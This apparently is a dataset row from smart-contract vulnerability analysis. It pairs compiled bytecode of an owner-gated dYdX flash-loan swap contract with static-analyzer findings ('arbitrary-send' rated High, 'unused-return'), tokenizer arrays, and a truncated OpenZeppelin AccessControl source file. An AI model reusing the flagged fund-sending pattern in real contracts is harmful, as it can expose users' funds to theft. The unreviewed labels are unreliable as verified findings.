0x6080604052600436106101025760003560e01c80638b41871311610095578063c17b285111610064578063c17b2851146102f9578063dbabd13814610322578063dbf0497b1461034b578063ee4e268714610374578063f942575c1461039d57610109565b80638b41871314610274578063986851e71461029d578063b522de26146102a7578063b5c0b2c4146102d057610109565b80634390d819116100d15780634390d819146101ca5780634f05160e146101f55780635ad6d8c6146102205780636e9472981461024957610109565b80630e06f2e71461010e578063228a1c6714610137578063355a53ae146101625780633aecd0e31461018d57610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101356004803603810190610130919061220d565b6103c8565b005b34801561014357600080fd5b5061014c610460565b604051610159919061295e565b60405180910390f35b34801561016e57600080fd5b5061017761048a565b604051610184919061295e565b60405180910390f35b34801561019957600080fd5b506101b460048036038101906101af9190612085565b6104b4565b6040516101c19190612bbb565b60405180910390f35b3480156101d657600080fd5b506101df610546565b6040516101ec9190612bbb565b60405180910390f35b34801561020157600080fd5b5061020a610550565b6040516102179190612bbb565b60405180910390f35b34801561022c57600080fd5b506102476004803603810190610242919061220d565b61055a565b005b34801561025557600080fd5b5061025e6105f2565b60405161026b9190612bbb565b60405180910390f35b34801561028057600080fd5b5061029b600480360381019061029691906120d7565b6105fa565b005b6102a5610c29565b005b3480156102b357600080fd5b506102ce60048036038101906102c9919061220d565b610c2b565b005b3480156102dc57600080fd5b506102f760048036038101906102f29190612085565b610d47565b005b34801561030557600080fd5b50610320600480360381019061031b919061213e565b610e18565b005b34801561032e57600080fd5b5061034960048036038101906103449190612085565b610ef5565b005b34801561035757600080fd5b50610372600480360381019061036d919061220d565b610fc7565b005b34801561038057600080fd5b5061039b60048036038101906103969190612085565b611332565b005b3480156103a957600080fd5b506103b2611404565b6040516103bf919061295e565b60405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610456576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161044d90612aa0565b60405180910390fd5b8060088190555050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016104ef9190612979565b60206040518083038186803b15801561050757600080fd5b505afa15801561051b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061053f9190612236565b9050919050565b6000600854905090565b6000600754905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105df90612aa0565b60405180910390fd5b8060078190555050565b600047905090565b610602611da1565b8180602001905181019061061691906121e4565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016106579190612979565b60206040518083038186803b15801561066f57600080fd5b505afa158015610683573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a79190612236565b9050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d826040518263ffffffff1660e01b81526004016107049190612bbb565b600060405180830381600087803b15801561071e57600080fd5b505af1158015610732573d6000803e3d6000fd5b50505050600061074d600754476115d690919063ffffffff16565b905060005b8181101561086e57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632f59c2d5600754600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107d560085460075461162090919063ffffffff16565b600130306107ed60644261166a90919063ffffffff16565b6040518863ffffffff1660e01b815260040161080e969594939291906129e6565b60408051808303818588803b15801561082657600080fd5b505af115801561083a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061085f919061225f565b50508080600101915050610752565b506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016108cc9190612979565b60206040518083038186803b1580156108e457600080fd5b505afa1580156108f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091c9190612236565b90506060600267ffffffffffffffff8111801561093857600080fd5b506040519080825280602002602001820160405280156109675781602001602082028036833780820191505090505b50905073dac17f958d2ee523a2206206994597c13d831ec78160008151811061098c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106109e857fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe58360018430610a7960644261166a90919063ffffffff16565b6040518663ffffffff1660e01b8152600401610a99959493929190612bd6565b600060405180830381600087803b158015610ab357600080fd5b505af1158015610ac7573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610af0919061217a565b50600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0610b4360028761166a90919063ffffffff16565b5050506000856000015173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610b859190612979565b60206040518083038186803b158015610b9d57600080fd5b505afa158015610bb1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd59190612236565b90508560200151811015610c1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1590612ae0565b60405180910390fd5b505050505050505050565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb090612aa0565b60405180910390fd5b6000610cfa60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116bf565b90508073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610d42573d6000803e3d6000fd5b505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcc90612aa0565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ea6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9d90612aa0565b60405180910390fd5b610ef160008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828473ffffffffffffffffffffffffffffffffffffffff166116c99092919063ffffffff16565b5050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7a90612aa0565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600061103e600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661174f565b9050600061104b84611901565b9050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b81526004016110cc9291906129bd565b602060405180830381600087803b1580156110e657600080fd5b505af11580156110fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111e91906121bb565b506060600367ffffffffffffffff8111801561113957600080fd5b5060405190808252806020026020018201604052801561117357816020015b611160611dd1565b8152602001906001900390816111585790505b509050611180838661191e565b8160008151811061118d57fe5b602002602001018190525061120c6040518060400160405280600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152506040516020016111f89190612ba0565b6040516020818303038152906040526119d7565b8160018151811061121957fe5b602002602001018190525061122e8383611a81565b8160028151811061123b57fe5b60200260200101819052506060600167ffffffffffffffff8111801561126057600080fd5b5060405190808252806020026020018201604052801561129a57816020015b611287611e3d565b81526020019060019003908161127f5790505b5090506112a5611b3a565b816000815181106112b257fe5b60200260200101819052508473ffffffffffffffffffffffffffffffffffffffff1663a67a6a4582846040518363ffffffff1660e01b81526004016112f8929190612a47565b600060405180830381600087803b15801561131257600080fd5b505af1158015611326573d6000803e3d6000fd5b50505050505050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b790612aa0565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008114806114c6575060008373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30856040518363ffffffff1660e01b8152600401611474929190612994565b60206040518083038186803b15801561148c57600080fd5b505afa1580156114a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c49190612236565b145b611505576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114fc90612b60565b60405180910390fd5b6115868363095ea7b360e01b84846040516024016115249291906129bd565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611b73565b505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91508082141580156115cd57506000801b8214155b92505050919050565b600061161883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ce5565b905092915050565b600061166283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d46565b905092915050565b6000808284019050838110156116b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ac90612ac0565b60405180910390fd5b8091505092915050565b6000819050919050565b61174a8363a9059cbb60e01b84846040516024016116e89291906129bd565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611b73565b505050565b60008083905060008173ffffffffffffffffffffffffffffffffffffffff1663295c39a56040518163ffffffff1660e01b815260040160206040518083038186803b15801561179d57600080fd5b505afa1580156117b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d59190612236565b9050600080600090505b828110156118bf578373ffffffffffffffffffffffffffffffffffffffff1663062bd3e9826040518263ffffffff1660e01b81526004016118209190612bbb565b60206040518083038186803b15801561183857600080fd5b505afa15801561184c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061187091906120ae565b91508573ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118b257809450505050506118fb565b80806001019150506117df565b506040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f290612b20565b60405180910390fd5b92915050565b600061191760028361166a90919063ffffffff16565b9050919050565b611926611dd1565b6040518061010001604052806001600881111561193f57fe5b81526020016000815260200160405180608001604052806000151581526020016000600181111561196c57fe5b81526020016000600181111561197e57fe5b8152602001858152508152602001848152602001600081526020013073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160405180602001604052806000815250815250905092915050565b6119df611dd1565b6040518061010001604052806008808111156119f757fe5b815260200160008152602001604051806080016040528060001515815260200160006001811115611a2457fe5b815260200160006001811115611a3657fe5b81526020016000815250815260200160008152602001600081526020013073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001838152509050919050565b611a89611dd1565b60405180610100016040528060006008811115611aa257fe5b815260200160008152602001604051806080016040528060011515815260200160006001811115611acf57fe5b815260200160006001811115611ae157fe5b8152602001858152508152602001848152602001600081526020013073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160405180602001604052806000815250815250905092915050565b611b42611e3d565b60405180604001604052803073ffffffffffffffffffffffffffffffffffffffff1681526020016001815250905090565b611b928273ffffffffffffffffffffffffffffffffffffffff1661158b565b611bd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc890612b80565b60405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff1683604051611bfa9190612947565b6000604051808303816000865af19150503d8060008114611c37576040519150601f19603f3d011682016040523d82523d6000602084013e611c3c565b606091505b509150915081611c81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7890612b00565b60405180910390fd5b600081511115611cdf5780806020019051810190611c9f91906121bb565b611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612b40565b60405180910390fd5b5b50505050565b60008083118290611d2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d239190612a7e565b60405180910390fd5b506000838581611d3857fe5b049050809150509392505050565b6000838311158290611d8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d859190612a7e565b60405180910390fd5b5060008385039050809150509392505050565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600081525090565b60405180610100016040528060006008811115611dea57fe5b815260200160008152602001611dfe611e6d565b81526020016000815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001606081525090565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600081525090565b604051806080016040528060001515815260200160006001811115611e8e57fe5b815260200160006001811115611ea057fe5b8152602001600081525090565b600081359050611ebc81612f3b565b92915050565b600081519050611ed181612f3b565b92915050565b600082601f830112611ee857600080fd5b8151611efb611ef682612c61565b612c30565b91508181835260208401935060208101905083856020840282011115611f2057600080fd5b60005b83811015611f505781611f368882612070565b845260208401935060208301925050600181019050611f23565b5050505092915050565b600081519050611f6981612f52565b92915050565b600082601f830112611f8057600080fd5b8135611f93611f8e82612c8d565b612c30565b91508082526020830160208301858383011115611faf57600080fd5b611fba838284612eaa565b50505092915050565b600060408284031215611fd557600080fd5b611fdf6040612c30565b90506000611fef84828501611ead565b60008301525060206120038482850161205b565b60208301525092915050565b60006040828403121561202157600080fd5b61202b6040612c30565b9050600061203b84828501611ec2565b600083015250602061204f84828501612070565b60208301525092915050565b60008135905061206a81612f69565b92915050565b60008151905061207f81612f69565b92915050565b60006020828403121561209757600080fd5b60006120a584828501611ead565b91505092915050565b6000602082840312156120c057600080fd5b60006120ce84828501611ec2565b91505092915050565b6000806000608084860312156120ec57600080fd5b60006120fa86828701611ead565b935050602061210b86828701611fc3565b925050606084013567ffffffffffffffff81111561212857600080fd5b61213486828701611f6f565b9150509250925092565b6000806040838503121561215157600080fd5b600061215f85828601611ead565b92505060206121708582860161205b565b9150509250929050565b60006020828403121561218c57600080fd5b600082015167ffffffffffffffff8111156121a657600080fd5b6121b284828501611ed7565b91505092915050565b6000602082840312156121cd57600080fd5b60006121db84828501611f5a565b91505092915050565b6000604082840312156121f657600080fd5b60006122048482850161200f565b91505092915050565b60006020828403121561221f57600080fd5b600061222d8482850161205b565b91505092915050565b60006020828403121561224857600080fd5b600061225684828501612070565b91505092915050565b6000806040838503121561227257600080fd5b600061228085828601612070565b925050602061229185828601612070565b9150509250929050565b60006122a783836122ee565b60208301905092915050565b60006122bf83836127c3565b905092915050565b60006122d383836128cb565b60408301905092915050565b6122e881612e2c565b82525050565b6122f781612dab565b82525050565b61230681612dab565b82525050565b600061231782612ced565b6123218185612d4b565b935061232c83612cbd565b8060005b8381101561235d578151612344888261229b565b975061234f83612d24565b925050600181019050612330565b5085935050505092915050565b600061237582612cf8565b61237f8185612d5c565b93508360208202850161239185612ccd565b8060005b858110156123cd57848403895281516123ae85826122b3565b94506123b983612d31565b925060208a01995050600181019050612395565b50829750879550505050505092915050565b60006123ea82612d03565b6123f48185612d6d565b93506123ff83612cdd565b8060005b8381101561243057815161241788826122c7565b975061242283612d3e565b925050600181019050612403565b5085935050505092915050565b61244681612dbd565b82525050565b600061245782612d0e565b6124618185612d7e565b9350612471818560208601612eb9565b61247a81612eee565b840191505092915050565b600061249082612d0e565b61249a8185612d8f565b93506124aa818560208601612eb9565b80840191505092915050565b6124bf81612e3e565b82525050565b6124ce81612e50565b82525050565b6124dd81612e62565b82525050565b6124ec81612e74565b82525050565b60006124fd82612d19565b6125078185612d9a565b9350612517818560208601612eb9565b61252081612eee565b840191505092915050565b6000612538600c83612d9a565b91507f4e6f20617574686f7269747900000000000000000000000000000000000000006000830152602082019050919050565b6000612578601b83612d9a565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b60006125b8602483612d9a565b91507f4e6f7420656e6f7567682066756e647320746f2072657061792064796478206c60008301527f6f616e21000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061261e602083612d9a565b91507f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65646000830152602082019050919050565b600061265e602483612d9a565b91507f4e6f206d61726b6574496420666f756e6420666f722070726f7669646564207460008301527f6f6b656e000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006126c4602a83612d9a565b91507f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008301527f6f742073756363656564000000000000000000000000000000000000000000006020830152604082019050919050565b600061272a603683612d9a565b91507f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60008301527f20746f206e6f6e2d7a65726f20616c6c6f77616e6365000000000000000000006020830152604082019050919050565b6000612790601f83612d9a565b91507f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e7472616374006000830152602082019050919050565b6000610160830160008301516127dc60008601826124b6565b5060208301516127ef6020860182612929565b5060408301516128026040860182612876565b50606083015161281560c0860182612929565b50608083015161282860e0860182612929565b5060a083015161283c6101008601826122ee565b5060c0830151612850610120860182612929565b5060e0830151848203610140860152612869828261244c565b9150508091505092915050565b60808201600082015161288c600085018261243d565b50602082015161289f60208501826124c5565b5060408201516128b260408501826124d4565b5060608201516128c56060850182612929565b50505050565b6040820160008201516128e160008501826122ee565b5060208201516128f46020850182612929565b50505050565b60408201600082015161291060008501826122ee565b5060208201516129236020850182612929565b50505050565b61293281612e22565b82525050565b61294181612e22565b82525050565b60006129538284612485565b915081905092915050565b600060208201905061297360008301846122fd565b92915050565b600060208201905061298e60008301846122df565b92915050565b60006040820190506129a960008301856122fd565b6129b660208301846122fd565b9392505050565b60006040820190506129d260008301856122fd565b6129df6020830184612938565b9392505050565b600060c0820190506129fb60008301896122fd565b612a086020830188612938565b612a1560408301876124e3565b612a2260608301866122df565b612a2f60808301856122df565b612a3c60a0830184612938565b979650505050505050565b60006040820190508181036000830152612a6181856123df565b90508181036020830152612a75818461236a565b90509392505050565b60006020820190508181036000830152612a9881846124f2565b905092915050565b60006020820190508181036000830152612ab98161252b565b9050919050565b60006020820190508181036000830152612ad98161256b565b9050919050565b60006020820190508181036000830152612af9816125ab565b9050919050565b60006020820190508181036000830152612b1981612611565b9050919050565b60006020820190508181036000830152612b3981612651565b9050919050565b60006020820190508181036000830152612b59816126b7565b9050919050565b60006020820190508181036000830152612b798161271d565b9050919050565b60006020820190508181036000830152612b9981612783565b9050919050565b6000604082019050612bb560008301846128fa565b92915050565b6000602082019050612bd06000830184612938565b92915050565b600060a082019050612beb6000830188612938565b612bf860208301876124e3565b8181036040830152612c0a818661230c565b9050612c1960608301856122df565b612c266080830184612938565b9695505050505050565b6000604051905081810181811067ffffffffffffffff82111715612c5757612c56612eec565b5b8060405250919050565b600067ffffffffffffffff821115612c7c57612c7b612eec565b5b602082029050602081019050919050565b600067ffffffffffffffff821115612ca857612ca7612eec565b5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b6000612db682612e02565b9050919050565b60008115159050919050565b6000819050612dd782612eff565b919050565b6000819050612dea82612f13565b919050565b6000819050612dfd82612f27565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000612e3782612e86565b9050919050565b6000612e4982612dc9565b9050919050565b6000612e5b82612ddc565b9050919050565b6000612e6d82612def565b9050919050565b6000612e7f82612e22565b9050919050565b6000612e9182612e98565b9050919050565b6000612ea382612e02565b9050919050565b82818337600083830152505050565b60005b83811015612ed7578082015181840152602081019050612ebc565b83811115612ee6576000848401525b50505050565bfe5b6000601f19601f8301169050919050565b60098110612f1057612f0f612eec565b5b50565b60028110612f2457612f23612eec565b5b50565b60028110612f3857612f37612eec565b5b50565b612f4481612dab565b8114612f4f57600080fd5b50565b612f5b81612dbd565b8114612f6657600080fd5b50565b612f7281612e22565b8114612f7d57600080fd5b5056fea2646970667358221220911358d586057f305b7fac8e7e11a75a46cda36f31db4b5439c1b35f163dee7764736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2620, 17134, 2629, 14141, 2620, 20958, 2549, 2278, 2683, 2581, 2497, 2094, 2487, 2050, 2475, 2278, 19317, 2546, 2620, 2850, 26224, 2692, 26337, 2278, 20958, 27531, 24434, 2050, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1018, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 3206, 1040, 25688, 2595, 10258, 11823, 4135, 2319, 15058, 1063, 2478, 3647, 18900, 2232, 2005, 21318, 3372, 17788, 2575, 1025, 1013, 1013, 1011, 1011, 4722, 2393, 2121, 4972, 1011, 1011, 1013, 1013, 3853, 1035, 2131, 20285, 3593, 19699, 5358, 18715, 8189, 14141, 8303, 1006, 4769, 1035, 3948, 1010, 4769, 19204, 1007, 4722, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 11163, 21297, 2906, 11528, 3948, 1027, 11163, 21297, 2906, 11528, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,858
0x978172855971DfC9a2149Ff460fbb39d586e8e51
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * 